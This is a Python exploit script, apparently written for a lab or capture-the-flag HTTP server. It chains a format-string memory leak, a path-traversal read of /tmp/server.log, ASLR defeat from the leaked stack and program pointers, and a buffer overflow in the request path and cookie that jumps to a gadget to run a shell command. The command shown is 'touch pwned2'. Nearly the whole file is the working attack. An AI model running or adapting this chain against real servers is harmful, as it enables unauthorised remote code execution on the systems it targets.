#!/usr/bin/env python3

import subprocess
import sys
import struct
import socket
import time

ADDR = sys.argv[1]
PORT = int(sys.argv[2])
STACK_OFFSET = 0xc60
PROGRAM_OFFSET = 0x26b7
COMMAND = b"touch pwned2 #"

print("Triggering memory leak...")
leakRet = subprocess.run(["curl", "-v", f"http://{ADDR}:{PORT}/?param=%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p"])

if leakRet.returncode:
    print("Cannot trigger memory leak")
    exit(1)

time.sleep(1)


print("Reading log...")
stealLogRet = subprocess.run(["curl", "--path-as-is", f"http://{ADDR}:{PORT}/../../../../../../../tmp/server.log"], capture_output=True, text=True)
if stealLogRet.returncode:
    print("Cannot steal log file")
    exit(1)

log = stealLogRet.stdout
# logFile = open("/tmp/server.log", "r")
# log = logFile.read()
# logFile.close()

#Key: param, Value: (nil),(nil),0x73,(nil),0x7ffd967c8ef0,0x742f00000000,0x61d96c2a8050,0x61d96c2a8050,0x61d96c2a8050,0x1,0x2d37302d36323032,0x33313a3931203532,0x61d90034333a,0x6a64eebe,0x61d96c2a79f0,0x7ffd967c9370,0x7ffd967c9780,0x61d94b994eeb
logLeakPrefix = "Key: param, Value: "
logLeakBegin = log.rfind(logLeakPrefix)
if logLeakBegin == -1:
    print("Cannot find beginning of memory leak")
    exit(1)

logLeakBegin += len(logLeakPrefix)

logLeakEnd = log[logLeakBegin:].find("\n")
if logLeakEnd == -1:
    print("Cannot find end of memory leak")
    exit(1)

logLeak = log[logLeakBegin:][:logLeakEnd]

stack = []
for rawValue in logLeak.split(","):
    if rawValue == "(nil)":
        stack.append(0)
    else:
        stack.append(int(rawValue, 16))

stackLeakPtr = stack[4]
programLeakPtr = stack[17]

print("I've found pointers in the leak")

commandPtr = stackLeakPtr + STACK_OFFSET
gadgetPtr = programLeakPtr + PROGRAM_OFFSET

print(f"stackLeakPtr = {hex(stackLeakPtr)}")
print(f"programLeakPtr = {hex(programLeakPtr)}")
print(f"commandPtr = {hex(commandPtr)}")
print(f"gadgetPtr = {hex(gadgetPtr)}")


payload = b"GET //aaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwBBBBBBBCCCCCC"
gadgetPtr = struct.pack("<Q", gadgetPtr)
gadgetPtr = gadgetPtr.rstrip(b"\x00")
payload = payload[0:-len(gadgetPtr)]
payload += gadgetPtr

payload += b" HTTP/1.1\r\n"
payload += b"Host: 127.0.0.1:8888\r\n"
payload += b"User-Agent: curl/8.5.0\r\n"
payload += b"Accept: */*\r\n"
payload += b"Set-Cookie: session_id="

cookie = b"AAAAAAAAAAAAAAaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaab"
commandPtr = struct.pack("<Q", commandPtr)
cookie = COMMAND + cookie[len(COMMAND):] + commandPtr

payload += cookie + b"\r\n\r\n"

print("Sending payload:")
print(payload)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ADDR, PORT))
sock.sendall(payload)

print("Payload has been sent. Goodbye.")